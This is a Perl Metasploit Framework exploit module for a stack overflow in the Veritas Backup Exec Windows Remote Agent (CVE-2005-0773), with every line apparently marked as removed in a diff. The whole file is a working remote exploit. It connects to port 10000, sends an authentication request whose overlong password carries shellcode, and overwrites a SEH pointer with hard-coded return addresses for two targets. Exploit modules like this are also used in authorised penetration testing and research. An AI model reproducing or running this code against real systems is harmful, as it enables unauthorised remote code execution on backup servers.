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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::backupexec_agent;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
- 'Version' => '$Revision: 1.9 $',
- 'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 1,
-
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 10000],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00",
- 'Keys' => ['+ws2ord'],
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in the Veritas BackupExec Windows
- Agent software. This vulnerability occurs when a client authentication request
- is received with type '3' and a long password argument. Reliable execution is
- obtained by abusing the stack overflow to smash a SEH pointer.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '17624'],
- ['CVE', '2005-0773' ],
- ['URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
- ['URL', 'http://seer.support.veritas.com/docs/276604.htm' ],
- ['MIL', '9'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Veritas BE 9.0/9.1/10.0 (All Windows)', 0x0140f8d5, 0x014261b0 ],
- ['Veritas BE 9.0/9.1/10.0 (Windows 2000)', 0x75022ac4, 0x75022ac4 ],
- ],
-
- 'Keys' => ['veritas'],
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- # Version 4.2 -> 9.1
- # Version 5.1 -> 10.0
- sub Check {
- my $self = shift;
- my ($vend, $prod, $vers) = $self->GetVersion;
-
- if (! $vend) {
- $self->PrintLine("[*] Could not determine the version number");
- return $self->CheckCode('Unknown');
- }
-
- $self->PrintLine("[*] $prod Version $vers ($vend)");
- return $self->CheckCode('Detected');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine( "[*] Attempting to exploit " . $target->[0] );
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ( $s->IsError ) {
- $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
- return;
- }
-
- my $res = $s->Recv(4, 5);
- $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
-
- my $username = "X" x 512;
- my $password = Pex::Text::PatternCreate(8192);
-
- # Place our payload early in the request and jump backwards into it
- substr($password, 3536-length($shellcode), length($shellcode), $shellcode);
-
- # This offset is required for version 10.0
- substr($password, 3536, 2, "\xeb\x06");
- substr($password, 3540, 4, pack('V', $target->[2]) );
- substr($password, 3544, 5, "\xe9" . pack('V', -1037));
-
- # This offset is required for version 9.0/9.1
- substr($password, 4524, 2, "\xeb\x06");
- substr($password, 4528, 4, pack('V', $target->[1]) );
- substr($password, 4532, 5, "\xe9" . pack('V', -2025));
-
- my $conn_auth =
- pack('N', 1). # Sequence number
- pack('N', time()). # Current time
- pack('N', 0). # Message type (request)
- pack('N', 0x901). # Message name (connect_client_auth)
- pack('N', 0). # Reply sequence number
- pack('N', 0). # Error status
- pack('N', 3). # Authentication type
- pack('N', length($username)).
- $username.
- pack('N', length($password)).
- $password.
- pack('N', 4);
-
- $self->PrintLine( "[*] Sending authentication request of " . length($conn_auth) . " bytes..." );
- $s->Send(pack('N', 0x80000000 + length($conn_auth)) . $conn_auth);
-
- return;
- }
-
- sub GetVersion {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new(
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ( $s->IsError ) {
- $self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
- return undef;
- }
-
- my $res = $s->Recv(4, 5);
- return undef if ! $res;
- $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
-
- my $serv_info =
- pack('N', 1). # Sequence number
- pack('N', time()). # Current time
- pack('N', 0). # Message type (request)
- pack('N', 0x108). # Message name (connect_client_auth)
- pack('N', 0). # Reply sequence number
- pack('N', 0); # Error status
-
- $s->Send(pack('N', 0x80000000 + length($serv_info)) . $serv_info);
- $res = $s->Recv(4, 5);
- return undef if ! $res;
-
- $res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
- $s->Close;
-
- # Skip past the protocols headers
- $res = substr($res, 28);
-
- # Vendor
- my $vend_len = unpack('N', substr($res, 0, 4));
- my $vend = substr($res, 4, $vend_len);
- $res = substr($res, 4 + $vend_len + 1);
-
- # Product
- my $prod_len = unpack('N', substr($res, 0, 4));
- my $prod = substr($res, 4, $prod_len);
- $res = substr($res, 4 + $prod_len + 1);
-
- # Version
- my $vers_len = unpack('N', substr($res, 0, 4));
- my $vers = substr($res, 4, $vers_len);
- $res = substr($res, 4 + $vers_len + 1);
-
- return ($vend, $prod, $vers);
- }
-
- 1;
-